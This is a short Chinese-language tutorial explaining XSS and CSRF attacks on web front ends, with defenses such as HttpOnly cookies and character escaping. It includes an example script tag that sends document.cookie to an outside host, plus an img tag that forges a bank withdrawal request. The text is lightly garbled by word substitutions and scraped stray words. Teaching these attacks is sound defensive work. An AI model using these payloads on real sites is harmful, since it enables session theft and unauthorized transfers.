网络攻击技术

与前端相关的网络攻击技术一般包括XSS与CSRF.前端

XSS 跨站脚本攻击(Cross-Site Scripting, XSS)

  • 能够将代码注入到用户浏览的网页上
这种代码包括 HTML 和 JavaScript。
复制代码
* 攻击者在网站上发布内容
    <script>location.href="//domain.com/?c=" + document.cookie</script>
    内容被渲染成:<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
    用户浏览该页面将会跳转到domain.com同时携带当前组用于的cookie,加入该网站以cookie保存用户的登陆信息,则有可能在这里被泄露。
复制代码
  • 防范手段
* 设置Cookie为HttpOnly
    设置了Cookie为httpOnly,可防止js脚本的调用,就没法经过dosument.cookie获取cookie了。
* 过滤特殊字符
    将<转义为&lt;,将>转义为&gt;,从而避免HTML和JS脚本的运行,
* 对于富文本编辑器,由于容许用户输入HTML代码,就不能简单过滤以上字符了。所以他经过XSS filter,经过创建标签白名单和标签黑名单从而容许攻击性的HTML代码输入。
    如form和script标签都会被转义,p和h标签被保留。
复制代码

CSRF 跨站请求伪造(Cross-site request forgery,CSRF)

跨站请求伪造(Cross-site request forgery,CSRF),是攻击者经过一些技术手段欺骗用户的浏览器去访问一个本身曾经认证过的网站并执行一些操做(如发邮件,发消息,甚至财产操做如转帐和购买商品)。因为浏览器曾经认证过,因此被访问的网站会认为是真正的用户操做而去执行。浏览器

假如一家银行用以执行转帐操做的 URL 地址以下:
withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一个恶意攻击者能够在另外一个网站上放置以下代码:
<img src="withdraw?account=Alice&amount=1000&for=Badman">。
若是有帐户名为 Alice 的用户访问了恶意站点,而她以前刚访问过银行不久,登陆信息还没有过时,那么她就会损失 1000 美圆
复制代码

二者区别

XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。bash

相关文章
相关标签/搜索